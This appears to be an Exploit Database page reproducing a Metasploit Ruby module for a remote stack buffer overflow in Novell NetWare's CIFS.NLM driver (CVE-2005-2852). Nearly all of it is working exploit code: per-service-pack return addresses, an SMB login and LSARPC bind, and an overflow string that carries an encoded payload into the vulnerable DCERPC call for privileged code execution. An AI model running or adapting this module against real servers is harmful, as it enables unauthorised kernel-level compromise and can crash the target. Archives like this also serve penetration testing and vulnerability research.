Novell NetWare – LSASS CIFS.NLM Driver Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • netware
• 来源：https://www.exploit-db.com/exploits/16832/

• ##
  # $Id: lsass_cifs.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
  				Since the driver runs in the kernel space, a failed exploit attempt can
  				cause the OS to reboot.
  			},
  			'Author' =>
  				[
  					'toto',
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-2852' ],
  					[ 'OSVDB', '12790' ]
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'netware',
  			'Targets'=>
  				[
  					# NetWare SP can be found in the SNMP version :
  					# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
  
  					[ 'VMware', { 'Ret' => 0x000f142b } ],
  					[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
  					[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
  					[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
  					[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
  					[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
  					[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
  				],
  
  			'DisclosureDate' => 'Jan 21 2007'))
  
  		register_options(
  			[
  				OptString.new('SMBPIPE', [ true,"The pipe name to use (LSARPC)", 'lsarpc'])
  			], self.class)
  
  	end
  
  	def exploit
  
  		# Force multi-bind off (netware doesn't support it)
  		datastore['DCERPC::fake_bind_multi'] = false
  
  		connect()
  		smb_login()
  
  		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
  
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		stb =
  			NDR.long(rand(0xffffffff)) +
  			NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(0x000f0fff)
  
  		resp = dcerpc.call(0x2c, stb)
  		handle, = resp[0,20]
  		code, = resp[20, 4].unpack('V')
  
  		name =
  			rand_text_alphanumeric(0xa0) +
  			[target.ret].pack('V') +
  			payload.encoded
  
  		stb =
  			handle +
  			NDR.long(1) +
  			NDR.long(1) +
  
  			NDR.short(name.length) +
  			NDR.short(name.length) +
  			NDR.long(rand(0xffffffff)) +
  
  			NDR.UnicodeConformantVaryingStringPreBuilt(name) +
  
  			NDR.long(0) +
  			NDR.long(0) +
  			NDR.long(1) +
  			NDR.long(0)
  
  		print_status("Calling the vulnerable function ...")
  
  		begin
  			dcerpc.call(0x0E, stb)
  		rescue
  		end
  
  		# Cleanup
  		handler
  		disconnect
  	end
  
  end